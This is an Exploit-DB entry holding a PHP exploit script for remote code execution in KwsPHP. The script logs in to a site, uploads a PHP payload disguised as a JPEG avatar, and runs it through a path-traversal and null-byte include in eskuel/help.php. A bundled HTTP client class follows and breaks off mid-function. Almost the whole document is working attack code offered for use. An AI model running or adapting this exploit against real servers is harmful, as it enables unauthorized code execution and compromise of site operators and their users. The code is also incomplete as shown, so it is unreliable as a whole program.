Exploit-DB #5449
Description: KwsPHP - 'Upload' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-04-14
Author: Ajax

Exploit:
<?php
/*
---KwsPHP All Version / Remote Code Execution---
Faille Discovered By TsukasaGenesis && Ajax
Sploit Coded By Ajax
*/
if($argc<9){
	print "---KwsPHP All Version / Remote Code Execution---\n\n";
	print "usage: kwsphpsploit.php -url <url> -login <login> -pass <pass> -email <email> -file <file> [-id <id>]\n\n";
	print "Url	url of KwsPHP script : Ex : www.example.com/kwsphp/\n";
	print "Login	your account's login ( need to be allow to upload )\n";
	print "Pass	account's password\n";
	print "Email	account's email\n";
	print "File	PHP script upload and execute\n";
	print "Id	account'id\n\n";
	exit();
	}
function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) return $argv[$value+1];
	}
	if($opt) exit("\n-$param parameter required");
	else return;
}
$url  = getparam("url",1);
$login = getparam("login",1);
$pass = getparam("pass",1);
$email = getparam("email",1);
$file = getparam("file",1);
$id  = getparam("id");
$source = @file_get_contents($file);
if(strlen($source)<2){ exit("$file don't exist.\n"); }

$xpl = new phpsploit();
$s = $xpl->post($url."/index.php?","sql_pseudo=$login&sql_pass=$pass");

//Cookies

if(preg_match("#Set-Cookie: PHPSESSID=([a-z0-9]+)#i",$s,$phpsessid) && !preg_match("#name=\"sql_pseudo\"#i",$s)){ 
	$xpl->addcookie("PHPSESSID",$phpsessid[1]);
	$xpl->addcookie("sql_pseudo",$login);
	$xpl->addcookie("sql_pass",md5($pass));
	$xpl->addcookie("auto","off");
	print "[*] PHPSESSID : $phpsessid[1]\n";
	} 
else{ exit("[*] Can't log in\n"); }

//Id
if(!isset($id)){
	preg_match("#id=([0-9]+)\" title=\"Voir son profil\">".$login."<\/a>#i",$s,$id_member);
	$id = $id_member[1];
	}
print "[*] Id : $id\n";

//Upload
$formdata =  array(frmdt_url => $url.'/index.php?mod=espace_membre&ac=profil',
		'action' => 'modifier',
		'ok' => '1',
		'id' => $id,
		'pseudo' => $login,
		'sql_newNom' => $login,
		'sql_newMail' => $email,
		'MAX_FILE_SIZE' => '2097152',
		'valider' => ' Modifier mon profil',
		'userfile[]' => array(
			frmdt_type => 'image/jpeg',
			frmdt_filename => 'test.jpg',
			frmdt_content => $source));
$xpl->formdata($formdata);
print "[*] Upload finish.\n";
$url = $url."/eskuel/help.php?action=../../../images/avatars/upload/".$id.".jpg%00";
print "[*] Exploit Sucess !\n";
print "[*] The code can be run here : \nhttp://" . $url . "\n";


/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit
{
	var $proxyhost;
	var $proxyport;
	var $host;
	var $path;
	var $port;
	var $method;
	var $url;
	var $packet;
	var $proxyuser;
	var $proxypass;
	var $header;
	var $cookie;
	var $data;
	var $boundary;
	var $allowredirection;
	var $last_redirection;
	var $cookiejar;
	var $recv;
	var $cookie_str;
	var $header_str;
	var $server_content;
	var $server_header;
	

	/**
	 * This function is called by the
	 * get()/post()/formdata() functions.
	 * You don't have to call it, this is
	 * the main function.
	 *
	 * @access private
	 * @return string $this->recv ServerResponse
	 * 
	 */
	function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport))
		   $socket = @fsockopen($this->proxyhost,$this->proxyport);
		else
		   $socket = @fsockopen($this->host,$this->port);
		
		if(!$socket)
		   die("Error: Host seems down");
		
		if($this->method=='get')
		   $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
		   
		elseif($this->method=='post' or $this->method=='formdata')
		   $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
		   
		else
		   die("Error: Invalid method");
		
		if(!empty($this->proxyuser))
		   $this->